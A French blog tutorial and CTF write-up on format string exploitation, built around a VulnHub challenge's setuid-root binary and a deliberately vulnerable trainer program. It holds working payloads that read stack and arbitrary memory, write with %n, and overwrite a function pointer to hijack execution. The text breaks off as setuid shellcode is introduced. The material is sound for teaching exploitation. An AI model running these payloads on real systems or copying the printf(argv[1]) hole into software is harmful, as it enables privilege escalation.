Nicolas SURRIBAS

Développement / Réseau / Sécurité Informatique

Pwing echo : Exploitation d'une faille de chaîne de format

Rédigé par devloop - -

Introduction

Dans le présent article je vais vous présenter la solution d'une partie du CTF Hell proposée par VulnHub.
Etant parvenu à terminer le CTF en court-circuitant cette étape, je vous renverrait à mon article dédié à ce challenge pour la solution complète.

Ici on va s'attarder sur le binaire echo qui était présent dans le dossier personnel de l'utilisateur oj.
Ce binaire est setuid root et vulnérable à une faille de formatage de chaîne (format string vulnerability).

Je profite de l'occasion en faisant aussi de cet article un tutoriel sur l'exploitation de ce type de vulnérabilité. Ainsi si vous souhaitez exploiter votre première chaîne de format, installez-vous confortablement, préparez votre compilateur... c'est parti !

Coup d’œil sur echo

oj@hell:~$ ls -l echo
-r-sr-xr-x 1 root root 592549 Jul  5 21:12 echo
oj@hell:~$ file echo 
echo: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.26, BuildID[sha1]=0x13fc308974c73d3ea9a339b7baf0790ea3d81863, not stripped
Comme dit précédemment l'exécutable est setuid root. Il est compilé statiquement et n'est pas strippé. Son analyse avec gdb est donc aisée.
oj@hell:~$ gdb -q echo
Reading symbols from /home/oj/echo...done.
(gdb) disass main
Dump of assembler code for function main:
   0x08048254 <+0>:     push   %ebp
   0x08048255 <+1>:     mov    %esp,%ebp
   0x08048257 <+3>:     and    $0xfffffff0,%esp
   0x0804825a <+6>:     sub    $0x10,%esp
   0x0804825d <+9>:     mov    0xc(%ebp),%eax
   0x08048260 <+12>:    add    $0x4,%eax
   0x08048263 <+15>:    mov    (%eax),%eax
   0x08048265 <+17>:    mov    %eax,(%esp)
   0x08048268 <+20>:    call   0x8048d60 <printf>
   0x0804826d <+25>:    mov    $0x0,%eax
   0x08048272 <+30>:    leave  
   0x08048273 <+31>:    ret    
End of assembler dump.
Le programme est très simple il correspond en réalité aux quelques lignes de C suivantes :
int main(int argc, char *argv[])
{
    printf(argv[1]);
    return 0;
}

Mise en place du programme d'entrainement

Le binaire du challenge a beau être court et simple, il n'offre pas assez d'informations lors de son exécution pour permettre l'apprentissage efficace de l'exploitation des chaînes de format.
Pour cela j'ai écrit un "trainer", un programme sur lequel vous pouvez vous faire les dents et qui va servir d'exemple pour la plus grande partie de cet article.
#include <stdio.h>
#include <string.h>

void terminated(void)
{
  puts("Program terminated with success\n");
}

void secret(void)
{
  puts("super secret area\n");
}

int main(int argc, char *argv[])
{
  void (**ptr2ptr2f)(void);
  void (*ptr2f)(void);
  unsigned int a = 1;
  unsigned int b = 2;
  unsigned int c = 3;
  unsigned int *x = &a;
  unsigned int *y = &b;
  unsigned int *z = &c;

  ptr2f = terminated;
  ptr2ptr2f = &ptr2f;
  printf("terminated=%p, secret=%p, &ptr2f=%p\n", terminated, secret, &ptr2f);
  printf("shellcode addr=%p\n", getenv("SHELLCODE"));
  printf("#start a=%u, b=%u, c=%u - x=%p, y=%p, z=%p\n", a, b, c, x, y, z);
  printf(argv[1]);
  printf("\n#end  a=%u, b=%u, c=%u - x=%p, y=%p, z=%p\n", a, b, c, x, y, z);
  (*ptr2f)();
  return 0;
}
Ce code dispose de 3 entiers nommés a, b et c respectivement initialisés à 1, 2 et 3.
Trois pointeurs correspondent à ces entiers : x, y et z.
Les valeurs de ces variables sont affichées avant et après l'instruction printf(argv[1]) qui affiche simplement la chaîne de caractères passé comme argument au programme.

Le code contient aussi un pointeur sur pointeur sur fonction baptisé ptr2ptr2f qui pointe vers le pointeur sur fonction ptr2f.
Ce dernier est initialisé pour correspondre à la fonction terminated et est apellé juste avant que le programme ne se termine.

Enfin le code dispose d'une fonction "secret" laquelle n'est jamais exécutée mais présente dans le code.
L'adresse d'une variable d’environnement baptisée "SHELLCODE" est aussi affichée.

Le binaire se compile très simplement :
gcc -o vuln vuln.c
Comme l'exploitation se fait ici sur un système 32bits je vous conseille pour suivre les étapes de compiler le binaire en 32 bits (en rajoutant l'option -m32) si vous êtes sur un système 64 bits. Pour cette cross-compilation pour devrez avoir installé via votre gestionnaire de paquets un gcc 32bits ainsi qu'une libc 32bits.

Enfin pour que l'exploitation soit plus excitante, vous pouvez mettre le binaire compilé setuid root comme le binaire echo du challenge.
Pour cela, une fois connecté en tant que root, changez le propriétaire du fichier :
chown root.root vuln
et mettez les droits setuid :
chmod u+s vuln
Et retournez à votre utilisateur lambda.

Tout savoir des chaines de format

Le programme affiche simplement ce qu'on lui passe en paramètre ainsi que des informations concernant les différentes variables présentes :
oj@hell:~$ ./vuln coucou
terminated=0x804847c, secret=0x8048490, &ptr2f=0xbffffcdc
shellcode addr=(nil)
#start a=1, b=2, c=3 - x=0xbffffcd8, y=0xbffffcd4, z=0xbffffcd0
coucou
#end  a=1, b=2, c=3 - x=0xbffffcd8, y=0xbffffcd4, z=0xbffffcd0
Program terminated with success
Que se passe-t'il si l'on passe une chaine de format au programme ?
oj@hell:~$ ./vuln %.8x
terminated=0x804847c, secret=0x8048490, &ptr2f=0xbffffcdc
shellcode addr=(nil)
#start a=1, b=2, c=3 - x=0xbffffcd8, y=0xbffffcd4, z=0xbffffcd0
00000001
#end  a=1, b=2, c=3 - x=0xbffffcd8, y=0xbffffcd4, z=0xbffffcd0
Program terminated with success
La chaîne de format est interprétée malgré le fait qu'aucun argument supplémentaire ne soit placé dans le code C.
La fonction printf et les autres fonctions de la même famille ne disposent pas d'un paramètre permettant d'indiquer le nombre total de paramètres passés. Dès lors la fonction aurait du mal à le deviner à votre place, bien que le compilateur puisse afficher des warnings si le nombre de paramètres passés ne correspond pas à la chaîne de format donnée.
Ici il n'y a pas de chaîne de format hard-codée mais le compilateur peut aussi lever un warning dans ce genre de situation (ces warnings ne sont malheureusement pas activés par défaut).

Où sont cherchées les valeurs que le programme affiche lorsqu'on lui passe une chaîne de format ? Tout simplement sur la pile où sont stockées les variables locales, etc.
oj@hell:~$ ./vuln "%.8x, %.8x, %.8x, %.8x, %.8x, %.8x, %.8x, %.8x, %.8x, %.8x, %.8x, %.8x, %.8x, %.8x, %.8x, %.8x"
terminated=0x804847c, secret=0x8048490, &ptr2f=0xbffffc8c
shellcode addr=(nil)
#start a=1, b=2, c=3 - x=0xbffffc88, y=0xbffffc84, z=0xbffffc80
00000001, 00000002, 00000003, bffffc88, bffffc84, bffffc80, 0804862b, 00000003, 00000002, 00000001, 0804847c, bffffc8c, bffffc80, bffffc84, bffffc88, 080485e0
#end  a=1, b=2, c=3 - x=0xbffffc88, y=0xbffffc84, z=0xbffffc80
Program terminated with success
On retrouve ici dans l'ordre nos variables a, b, c et leurs pointeurs x, y et z (positions 1 à 6).
Plus loin en 12ème position se trouve le pointeur sur pointeur sur fonction.
Notez que par rapport aux précédentes exécutions les adresses de nos variables sur la pile ont changé en raison de la taille de argv qui a augmenté (sur la base de la pile se trouvent les variables d’environnement puis argv puis ensuite les variables locales, etc).

Si on fouille plus loin on retrouve argv[1] sur la pile, ici en position 131 (AAAA = 0x41414141 en hexadécimal).
oj@hell:~$ ./vuln AAAA`python -c 'print ",".join(["#{0}:%.8x".format(x) for x in xrange(1,150)])'`
terminated=0x804847c, secret=0x8048490, &ptr2f=0xbffff77c
shellcode addr=(nil)
#start a=1, b=2, c=3 - x=0xbffff778, y=0xbffff774, z=0xbffff770
AAAA#1:00000001,#2:00000002,#3:00000003,#4:bffff778,#5:bffff774,#6:bffff770,#7:0804862b,#8:00000003,#9:00000002,#10:00000001,#11:0804847c,#12:bffff77c,#13:bffff770,#14:bffff774,#15:bffff778,#16:080485e0,#17:b7fd5ff4,#18:bffff818,#19:b7e8ce46,#20:00000002,#21:bffff844,#22:bffff850,#23:b7fe0860,#24:b7ff6821,#25:ffffffff,#26:b7ffeff4,#27:08048288,#28:00000001,#29:bffff800,#30:b7fefc16,#31:b7fffac0,#32:b7fe0b58,#33:b7fd5ff4,#34:00000000,#35:00000000,#36:bffff818,#37:574bc162,#38:79389772,#39:00000000,#40:00000000,#41:00000000,#42:00000002,#43:08048390,#44:00000000,#45:b7ff59c0,#46:b7e8cd6b,#47:b7ffeff4,#48:00000002,#49:08048390,#50:00000000,#51:080483b1,#52:080484a4,#53:00000002,#54:bffff844,#55:080485e0,#56:080485d0,#57:b7ff0590,#58:bffff83c,#59:b7fff908,#60:00000002,#61:bffff955,#62:bffff95c,#63:00000000,#64:bffffec6,#65:bffffed4,#66:bffffedf,#67:bffffeff,#68:bfffff12,#69:bfffff1a,#70:bfffff58,#71:bfffff6a,#72:bfffff77,#73:bfffff88,#74:bfffff90,#75:bfffff9e,#76:bfffffb0,#77:bfffffbb,#78:bfffffec,#79:00000000,#80:00000020,#81:b7fe1420,#82:00000021,#83:b7fe1000,#84:00000010,#85:078bfbff,#86:00000006,#87:00001000,#88:00000011,#89:00000064,#90:00000003,#91:08048034,#92:00000004,#93:00000020,#94:00000005,#95:00000008,#96:00000007,#97:b7fe2000,#98:00000008,#99:00000000,#100:00000009,#101:08048390,#102:0000000b,#103:000003ed,#104:0000000c,#105:00000000,#106:0000000d,#107:000003ed,#108:0000000e,#109:000003ed,#110:00000017,#111:00000001,#112:00000019,#113:bffff93b,#114:0000001f,#115:bffffff5,#116:0000000f,#117:bffff94b,#118:00000000,#119:00000000,#120:00000000,#121:00000000,#122:4c000000,#123:40d2c157,#124:5b0ed452,#125:cc2d0d2b,#126:69de377a,#127:00363836,#128:00000000,#129:762f2e00,#130:006e6c75,#131:41414141,#132:253a3123,#133:2c78382e,#134:253a3223,#135:2c78382e,#136:253a3323,#137:2c78382e,#138:253a3423,#139:2c78382e,#140:253a3523,#141:2c78382e,#142:253a3623,#143:2c78382e,#144:253a3723,#145:2c78382e,#146:253a3823,#147:2c78382e,#148:253a3923,#149:2c78382e
#end  a=1, b=2, c=3 - x=0xbffff778, y=0xbffff774, z=0xbffff770
Program terminated with success

Lire sur la pile en choisissant la position

Pouvoir lire des informations en remontant la pile c'est pas mal, mais c'est mieux si on peut spécifier directement la position d'une variable sur la pile.

Et cela est possible comme indiqué dans la page de manuel de printf à la section Format of the format string :

By default, the arguments are used in the order given, where each '*' and each conversion specifier asks for the next argument (and it is an error if insufficiently many arguments are given). One can also specify explicitly which argument is taken, at each place where an argument is required, by writing "%m$" instead of '%' and "*m$" instead of '*', where the decimal integer m denotes the position in the argument list of the desired argument, indexed starting from 1.
Donc on peut accéder directement à une variable en indiquant sa position sur la pile, position commençant à 1.
Cette fonctionnalité est très intéressante notamment pour l'internationalisation. Par exemple si vous avez un programme qui parle anglais et français et affiche un animal et sa couleur vous utiliserez la même instruction printf avec deux chaines de format différentes :

"%1$s %2$s" pour le français.
"%2$s %1$s" pour l'anglais.

L'instruction sera seulement :
printf(fmt, animal, color);
Avec le format anglais on obtiendra par exemple yellow dog alors qu'avec le format français ce sera chien jaune (les arguments sont inversés). En Python la méthode format de la classe string permet une sélection des arguments similaire.

On a vu tout à l'heure que le début de notre argument (qui commence par AAAA) se trouvait en position 131.
Jetons un œil pour voir si c'est toujours le cas :
oj@hell:~$ ./vuln AAAA%131\$.8x
terminated=0x804847c, secret=0x8048490, &ptr2f=0xbffffcdc
shellcode addr=(nil)
#start a=1, b=2, c=3 - x=0xbffffcd8, y=0xbffffcd4, z=0xbffffcd0
AAAA33312541
#end  a=1, b=2, c=3 - x=0xbffffcd8, y=0xbffffcd4, z=0xbffffcd0
Program terminated with success
On ne trouve pas AAAA mais le code hexa correspondant à A%13. Le reste est à la position précédente :
oj@hell:~$ ./vuln AAAA%130\$.8x
terminated=0x804847c, secret=0x8048490, &ptr2f=0xbffffcdc
shellcode addr=(nil)
#start a=1, b=2, c=3 - x=0xbffffcd8, y=0xbffffcd4, z=0xbffffcd0
AAAA41414100
#end  a=1, b=2, c=3 - x=0xbffffcd8, y=0xbffffcd4, z=0xbffffcd0
Program terminated with success
La position n'est pas exacte car argv a encore changé depuis la dernière fois : ici il est plus court. Qui plus est la chaîne est décalée d'un octet, ce qui se recale facilement ici en ajoutant un caractère :
oj@hell:~$ ./vuln AAAAB%130\$.8x
terminated=0x804847c, secret=0x8048490, &ptr2f=0xbffffcdc
shellcode addr=(nil)
#start a=1, b=2, c=3 - x=0xbffffcd8, y=0xbffffcd4, z=0xbffffcd0
AAAAB41414141
#end  a=1, b=2, c=3 - x=0xbffffcd8, y=0xbffffcd4, z=0xbffffcd0
Program terminated with success
Les problèmes de décalage sont très importants à prendre en compte dans ce type d'attaque. Il faut constamment penser à ce que les modifications d'arguments ou de variables d'environnement entraînent comme changements sur la pile.

Lire à l'adresse que l'on souhaite

Ok, on peut lire des données en remontant la pile, la bonne affaire ! Au mieux on trouvera le chemin d'un fichier de configuration passé en paramètre, le nom d'un utilisateur ou un mot de passe.

Mais peut-on accéder à des informations n'importe où dans la mémoire du processus et pas uniquement en remontant la pile ? Bien sûr !
On a vu que l'on pouvait mettre une valeur sur la pile et lui faire appliquer un format par printf. Il suffit donc d'exploiter un formatage qui déréférence la valeur passée et l'utilise comme une adresse.
Le format %s permet ce genre d'opération.
Ici je place au début du buffer l'adresse de la variable b (0xbffffcd4) contenue dans le pointeur y puis le format %s déréférencie cette adresse pour récupérer son contenu :
oj@hell:~$ ./vuln $'\xd4\xfc\xff\xbf'B%130\$.8s| hexdump -C
00000000  74 65 72 6d 69 6e 61 74  65 64 3d 30 78 38 30 34  |terminated=0x804|
00000010  38 34 37 63 2c 20 73 65  63 72 65 74 3d 30 78 38  |847c, secret=0x8|
00000020  30 34 38 34 39 30 2c 20  26 70 74 72 32 66 3d 30  |048490, &ptr2f=0|
00000030  78 62 66 66 66 66 63 64  63 0a 73 68 65 6c 6c 63  |xbffffcdc.shellc|
00000040  6f 64 65 20 61 64 64 72  3d 28 6e 69 6c 29 0a 23  |ode addr=(nil).#|
00000050  73 74 61 72 74 20 61 3d  31 2c 20 62 3d 32 2c 20  |start a=1, b=2, |
00000060  63 3d 33 20 2d 20 78 3d  30 78 62 66 66 66 66 63  |c=3 - x=0xbffffc|
00000070  64 38 2c 20 79 3d 30 78  62 66 66 66 66 63 64 34  |d8, y=0xbffffcd4|
00000080  2c 20 7a 3d 30 78 62 66  66 66 66 63 64 30 0a d4  |, z=0xbffffcd0..|
00000090  fc ff bf 42 02 0a 23 65  6e 64 20 20 61 3d 31 2c  |...B..#end  a=1,|
000000a0  20 62 3d 32 2c 20 63 3d  33 20 2d 20 78 3d 30 78  | b=2, c=3 - x=0x|
000000b0  62 66 66 66 66 63 64 38  2c 20 79 3d 30 78 62 66  |bffffcd8, y=0xbf|
000000c0  66 66 66 63 64 34 2c 20  7a 3d 30 78 62 66 66 66  |fffcd4, z=0xbfff|
000000d0  66 63 64 30 0a 50 72 6f  67 72 61 6d 20 74 65 72  |fcd0.Program ter|
000000e0  6d 69 6e 61 74 65 64 20  77 69 74 68 20 73 75 63  |minated with suc|
000000f0  63 65 73 73 0a 0a                                 |cess..|
000000f6
Juste après le caractère B (ligne 00000090) on retrouve un octet 02 qui correspond bien à la valeur de b.
L'exemple n'est pas terrible car le format %s s'arrête au premier octet nul ce qui explique que l'on ne voit pas plus que le 2 dans ce cas précis.

Mais en sachant que la base de la stack est à 0xc0000000 comme vérifié avec gdb :
oj@hell:~$ gdb -q ./vuln
Reading symbols from /home/oj/vuln...(no debugging symbols found)...done.
(gdb) b main
Breakpoint 1 at 0x80484a8
(gdb) r
Starting program: /home/oj/vuln 

Breakpoint 1, 0x080484a8 in main ()
(gdb) info proc mappings
process 30986
Mapped address spaces:

  Start Addr   End Addr       Size     Offset objfile
   0x8048000  0x8049000     0x1000          0        /home/oj/vuln
   0x8049000  0x804a000     0x1000          0        /home/oj/vuln
  0xb7e75000 0xb7e76000     0x1000          0        
  0xb7e76000 0xb7fd3000   0x15d000          0        /lib/i386-linux-gnu/i686/cmov/libc-2.13.so
  0xb7fd3000 0xb7fd4000     0x1000   0x15d000        /lib/i386-linux-gnu/i686/cmov/libc-2.13.so
  0xb7fd4000 0xb7fd6000     0x2000   0x15d000        /lib/i386-linux-gnu/i686/cmov/libc-2.13.so
  0xb7fd6000 0xb7fd7000     0x1000   0x15f000        /lib/i386-linux-gnu/i686/cmov/libc-2.13.so
  0xb7fd7000 0xb7fda000     0x3000          0        
  0xb7fdf000 0xb7fe1000     0x2000          0        
  0xb7fe1000 0xb7fe2000     0x1000          0           [vdso]
  0xb7fe2000 0xb7ffe000    0x1c000          0          /lib/i386-linux-gnu/ld-2.13.so
  0xb7ffe000 0xb7fff000     0x1000    0x1b000          /lib/i386-linux-gnu/ld-2.13.so
  0xb7fff000 0xb8000000     0x1000    0x1c000          /lib/i386-linux-gnu/ld-2.13.so
  0xbffdf000 0xc0000000    0x21000          0           [stack]
On peut fouiller vers la base la pile et essayer de trouver des variables d'environnement :
oj@hell:~$ ./vuln $'\xbb\xff\xff\xbf'B%130\$08s
terminated=0x804847c, secret=0x8048490, &ptr2f=0xbffffcdc
shellcode addr=(nil)
#start a=1, b=2, c=3 - x=0xbffffcd8, y=0xbffffcd4, z=0xbffffcd0
����BSSH_CONNECTION=192.168.1.3 56445 192.168.1.29 22
#end  a=1, b=2, c=3 - x=0xbffffcd8, y=0xbffffcd4, z=0xbffffcd0
Program terminated with success
Ici on voit une variable décrivant la connexion SSH en cours sur le système (de la machine hôte vers la VM).

Mais il est aussi possible de lire dans n'importe quel segment de données du moment que ce dernier est accessible en lecture, comme le segment de code. Ici je passe comme adresse celle de la fonction secret ce qui me permet d'obtenir les opcodes des instructions assembleur :
oj@hell:~$ ./vuln $'\x90\x84\x04\x08'B%130\$08s | hexdump -C
00000000  74 65 72 6d 69 6e 61 74  65 64 3d 30 78 38 30 34  |terminated=0x804|
00000010  38 34 37 63 2c 20 73 65  63 72 65 74 3d 30 78 38  |847c, secret=0x8|
00000020  30 34 38 34 39 30 2c 20  26 70 74 72 32 66 3d 30  |048490, &ptr2f=0|
00000030  78 62 66 66 66 66 63 64  63 0a 73 68 65 6c 6c 63  |xbffffcdc.shellc|
00000040  6f 64 65 20 61 64 64 72  3d 28 6e 69 6c 29 0a 23  |ode addr=(nil).#|
00000050  73 74 61 72 74 20 61 3d  31 2c 20 62 3d 32 2c 20  |start a=1, b=2, |
00000060  63 3d 33 20 2d 20 78 3d  30 78 62 66 66 66 66 63  |c=3 - x=0xbffffc|
00000070  64 38 2c 20 79 3d 30 78  62 66 66 66 66 63 64 34  |d8, y=0xbffffcd4|
00000080  2c 20 7a 3d 30 78 62 66  66 66 66 63 64 30 0a 90  |, z=0xbffffcd0..|
00000090  84 04 08 42 55 89 e5 83  ec 18 c7 04 24 81 86 04  |...BU.......$...|
000000a0  08 e8 be fe ff ff c9 c3  55 89 e5 53 83 e4 f0 83  |........U..S....|
000000b0  ec 40 c7 44 24 28 01 0a  23 65 6e 64 20 20 61 3d  |.@.D$(..#end  a=|
000000c0  31 2c 20 62 3d 32 2c 20  63 3d 33 20 2d 20 78 3d  |1, b=2, c=3 - x=|
000000d0  30 78 62 66 66 66 66 63  64 38 2c 20 79 3d 30 78  |0xbffffcd8, y=0x|
000000e0  62 66 66 66 66 63 64 34  2c 20 7a 3d 30 78 62 66  |bffffcd4, z=0xbf|
000000f0  66 66 66 63 64 30 0a 50  72 6f 67 72 61 6d 20 74  |fffcd0.Program t|
00000100  65 72 6d 69 6e 61 74 65  64 20 77 69 74 68 20 73  |erminated with s|
00000110  75 63 63 65 73 73 0a 0a                           |uccess..|
00000118
Le copie les octets extraits (de 55 à 01) et je les copie sur un désassembleur en ligne, j'obtiens :
.data:0x00000000    55                push   ebp
.data:0x00000001    89e5              mov    ebp,esp 
.data:0x00000003    83ec18            sub    esp,0x18
.data:0x00000006    c7042481860408    mov    DWORD PTR [esp],0x8048681 
.data:0x0000000d    e8befeffff        call   func_fffffed0   ; char* dst = arg[0]
.data:0x00000012    c9                leave
.data:0x00000013    c3                ret
.data:0x00000014    55                push   ebp             ; dst[i] = c
.data:0x00000015    89e5              mov    ebp,esp 
.data:0x00000017    53                push   ebp 
.data:0x00000018    83e4f0            and    esp,0xfffffff0  ; i++
.data:0x0000001b    83ec40            sub    esp,0x40        ; while (c != 0)
.data:0x0000001e    c7                .byte 0xc7
.data:0x0000001f    44                inc    esp
.data:0x00000020    2428              and    al,0x28
.data:0x00000022    01                .byte 0x1
Jetons un œil à l'adresse 0x8048681 qui est poussée sur la pile :
oj@hell:~$ ./vuln $'\x81\x86\x04\x08'B%130\$08s
terminated=0x804847c, secret=0x8048490, &ptr2f=0xbffffcdc
shellcode addr=(nil)
#start a=1, b=2, c=3 - x=0xbffffcd8, y=0xbffffcd4, z=0xbffffcd0
�Bsuper secret area

#end  a=1, b=2, c=3 - x=0xbffffcd8, y=0xbffffcd4, z=0xbffffcd0
Program terminated with success
Il est donc possible de faire bien plus que lire la pile : on peut récupérer des instructions qui peuvent éventuellement permettre de trouver des vulnérabilités supplémentaires.

Ecrire en mémoire

Mais ce genre d'attaque risque d'être fastidieuse... Ce qu'il nous faut c'est une condition write-what-where or il existe un formateur qui correspond exactement à ce que l'on souhaite comme indiqué dans la page de manuel de printf, à la section The conversion specifier concernant la lettre n :
The number of characters written so far is stored into the integer indicated by the int * (or variant) pointer argument. No argument is converted.
Voici un exemple d'utilisation du format %n :
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char buf[5];
    unsigned int n, x = 1234;

    snprintf(buf, 5, "%.5d%n", x, &n);
    printf("l = %d\n", strlen(buf));
    printf("n = %d\n", n);
    printf("buf = [%s] (%d)\n", buf, sizeof buf);
    return 0;
}
$ ./sprintf 
l = 4
n = 5
buf = [0123] (5)
Dans un premier temps snprintf a généré la chaîne 01234 de longueur 5 en appliquant le format %.5d qui contient une précision (derrière le point).
Ensuite snprintf a copié cette longueur à l'adresse passée en argument (celle de n).
Et finalement la chaîne a été tronquée (comme indiqué dans le manuel : snprintf write at most X bytes (including the terminating null byte ('\0')) to str avec X étant le second argument passé soit 5-1 = 4) pour être copiée dans buf.

En combinant ce que l'on a vu précédemment il est donc possible d'écrire où l'on souhaite en mémoire en combinant la méthode de placement d'adresse sur la pile et le format %n.

Pour tester cela on va réécrire la valeur de b dans le trainer en utilisant y (son pointeur) comme adresse de destination qui est en 5ème position sur la pile :
oj@hell:~$ ./vuln "%.1337x%5\$n"
terminated=0x804847c, secret=0x8048490, &ptr2f=0xbffffcdc
shellcode addr=(nil)
#start a=1, b=2, c=3 - x=0xbffffcd8, y=0xbffffcd4, z=0xbffffcd0
00000--- snip ---000001
#end  a=1, b=1337, c=3 - x=0xbffffcd8, y=0xbffffcd4, z=0xbffffcd0
Program terminated with success
Good ! L'inconvénient c'est que %n comptabilise tous les caractères déjà écrits. Donc si l'on souhaite écrire trois valeurs différentes dans a, b et c il faut commencer par faire afficher autant de caractères que la plus petite valeur, l'écrire en mémoire à l'adresse souhaitée, faire afficher des caractères supplémentaires correspondant à la valeur souhaitée immédiatement supérieure moins ce qui a été déjà écrit, écrire en mémoire, etc.
Ainsi si je veut mettre 1337 dans a, 16 dans b et 666 dans c il nous faudra :
  • écrire 16 octets, les stocker via y
  • écrire 666 - 16 déjà écrits soit 650 octets, les stocker via z
  • écrire 1337 - 666 octets soit 671, les stocker via x

Ce qui donne :
oj@hell:~$ ./vuln "%.16x%5\$n%.650x%6\$n%.671x%4\$n"
terminated=0x804847c, secret=0x8048490, &ptr2f=0xbffffccc
shellcode addr=(nil)
#start a=1, b=2, c=3 - x=0xbffffcc8, y=0xbffffcc4, z=0xbffffcc0
0000000--- snip ---00003
#end  a=1337, b=16, c=666 - x=0xbffffcc8, y=0xbffffcc4, z=0xbffffcc0
Program terminated with success

Ecraser le pointeur sur fonction

On va mettre un peu de piment et faire quelque chose de plus utile grâce au pointeur sur pointeur sur fonction placé en 12ème position sur la pile.
oj@hell:~$ ./vuln "%12\$.8x"
terminated=0x804847c, secret=0x8048490, &ptr2f=0xbffffcdc
shellcode addr=(nil)
#start a=1, b=2, c=3 - x=0xbffffcd8, y=0xbffffcd4, z=0xbffffcd0
bffffcdc
#end  a=1, b=2, c=3 - x=0xbffffcd8, y=0xbffffcd4, z=0xbffffcd0
Program terminated with success
On va écraser sa valeur (actuellement l'adresse de terminated) par l'adresse de la fonction secret (0x8048490).
Il nous faut donc écrire 134513808 octets. C'est exactement la même technique qu'avec les entiers et les pointeurs vu au dessus.
oj@hell:~$ ./vuln "%.134513808x%12\$n"
terminated=0x804847c, secret=0x8048490, &ptr2f=0xbffffccc
shellcode addr=(nil)
#start a=1, b=2, c=3 - x=0xbffffcc8, y=0xbffffcc4, z=0xbffffcc0
--- snip : chaine très très longue ---
#end  a=1, b=2, c=3 - x=0xbffffcc8, y=0xbffffcc4, z=0xbffffcc0
super secret area
Victoire ! On a réussi à détourner le flot d'exécution du programme :)

Mais on est dans une situation idéale car ce pointeur est sur la pile... Corsons le jeu en plaçant nous même l'adresse du pointeur sur fonction dans la pile :
oj@hell:~$ ./vuln $'\xdc\xfc\xff\xbf'B%130\$.8x
terminated=0x804847c, secret=0x8048490, &ptr2f=0xbffffcdc
shellcode addr=(nil)
#start a=1, b=2, c=3 - x=0xbffffcd8, y=0xbffffcd4, z=0xbffffcd0
����Bbffffcdc
#end  a=1, b=2, c=3 - x=0xbffffcd8, y=0xbffffcd4, z=0xbffffcd0
Program terminated with success
Bien, il est toujours en position 130 avec un padding d'un caractère. On va déplacer ce padding en fin de chaine pour ne pas qu'il nous dérange.
Ici on a déjà écrit 4 octets avec l'adresse de ptr2f. Il nous reste donc à écrire 0x8048490 - 4 = 134513804 octets.
oj@hell:~$ ./vuln $'\xdc\xfc\xff\xbf'%.134513804x%130\$.8xB
terminated=0x804847c, secret=0x8048490, &ptr2f=0xbffffccc
shellcode addr=(nil)
#start a=1, b=2, c=3 - x=0xbffffcc8, y=0xbffffcc4, z=0xbffffcc0
--- snip ---000000000001006e6c75B
#end  a=1, b=2, c=3 - x=0xbffffcc8, y=0xbffffcc4, z=0xbffffcc0
Program terminated with success
Pas terrible :( Comme on pouvait s'y attendre le pointeur de fonction ptr2f et les autres variables locales ont changées d'adresse à cause de la taille de argv qui a changée !
Qui plus est l'argument en position 130 (juste avant le B final) a aussi été décalé :-/

Comment retrouver le bon offset (position) et le bon padding ? J'ai écrit un programme en Python qui va tester les différentes combinaisons (teste les positions entre 120 et 150) en utilisant AAAA comme début de chaîne, la valeur que l'on doit écrire plus le format avec la position spécifiée sur une taille de format fixe :
import subprocess
import sys

ptr = "AAAA"
length = "%.134513804x"

for padding in xrange(0, 4):
    for i in xrange(120, 150):
        arg = ptr + length + '%{:03d}$.8x'.format(i) + padding * "B"
        output = subprocess.check_output(['./vuln', arg, ';true'])
        if "41414141" in output:
            print "Offset trouve a", i, "avec", padding, "octets de padding"
            print arg
            sys.exit()
Le programme peut prendre un peu de temps à s'exécuter.
oj@hell:~$ python find_offset.py
Offset trouve a 131 avec 2 octets de padding
AAAA%.134513804x%131$.8xBB
Mais si on passe directement cet argument à vuln on n'obtient pas tout à fait le résultat souhaité (on n'est pas loin cependant) :
oj@hell:~$ ./vuln AAAA%.134513804x%131\$.8xBB
terminated=0x804847c, secret=0x8048490, &ptr2f=0xbffffccc
shellcode addr=(nil)
#start a=1, b=2, c=3 - x=0xbffffcc8, y=0xbffffcc4, z=0xbffffcc0
--- snip ---0000125414141BB
#end  a=1, b=2, c=3 - x=0xbffffcc8, y=0xbffffcc4, z=0xbffffcc0
Program terminated with success
La pile n'est pas exactement la même que lors d'un lancement depuis bash, c'est peut être dû à la façon dont Python appelle le programme ou la présence de variables d'environnement supplémentaires (ou en moins) sur la pile.
On va devoir se débrouiller par nous même.

Pour réduire l'output on remplace le nombre d'octets à écrire par des 0, on corrigera plus tard.
oj@hell:~$ ./vuln AAAA%.000000000x%131\$.8xBB
terminated=0x804847c, secret=0x8048490, &ptr2f=0xbffffccc
shellcode addr=(nil)
#start a=1, b=2, c=3 - x=0xbffffcc8, y=0xbffffcc4, z=0xbffffcc0
AAAA125414141BB
#end  a=1, b=2, c=3 - x=0xbffffcc8, y=0xbffffcc4, z=0xbffffcc0
Program terminated with success
On retrouve très facilement ce que l'on souhaite avec un padding de 1 comme au début :
oj@hell:~$ ./vuln AAAA%.000000000x%131\$.8xB
terminated=0x804847c, secret=0x8048490, &ptr2f=0xbffffccc
shellcode addr=(nil)
#start a=1, b=2, c=3 - x=0xbffffcc8, y=0xbffffcc4, z=0xbffffcc0
AAAA141414141B
#end  a=1, b=2, c=3 - x=0xbffffcc8, y=0xbffffcc4, z=0xbffffcc0
Program terminated with success
Notez (et c'est très important) que même en ayant spécifié 0 octets à écrire pour %x les fonctions de la famille de printf écriront toujours au minimum une entrée (pour %x au minimum un caractère).

On remplace AAAA par l'adresse du pointeur sur fonction et on remet la quantité d'octets à écrire souhaitée.
Comme on remplace aussi %.8x par %n il faut aussi penser à ajouter deux octets de padding supplémentaires pour conserver la même longueur pour argv[1] :
./vuln $'\xcc\xfc\xff\xbf'%.134513804x%131\$nBBB
terminated=0x804847c, secret=0x8048490, &ptr2f=0xbffffccc
shellcode addr=(nil)
#start a=1, b=2, c=3 - x=0xbffffcc8, y=0xbffffcc4, z=0xbffffcc0
--- snip ---000000000000000000001BBB
#end  a=1, b=2, c=3 - x=0xbffffcc8, y=0xbffffcc4, z=0xbffffcc0
super secret area
Bingo on est passé sans avoir à nous servir du pointeur sur pointeur sur fonction, situation qui a peu de chances d'arriver dans la réalité :)

Utiliser un shellcode

Détourner le flot d'exécution du programme c'est bien. C'est bien mieux si on peut faire exécuter des instructions à nous.
Pour cela je place un shellcode setuid 0 + exec /bin/sh dans l'environnement :
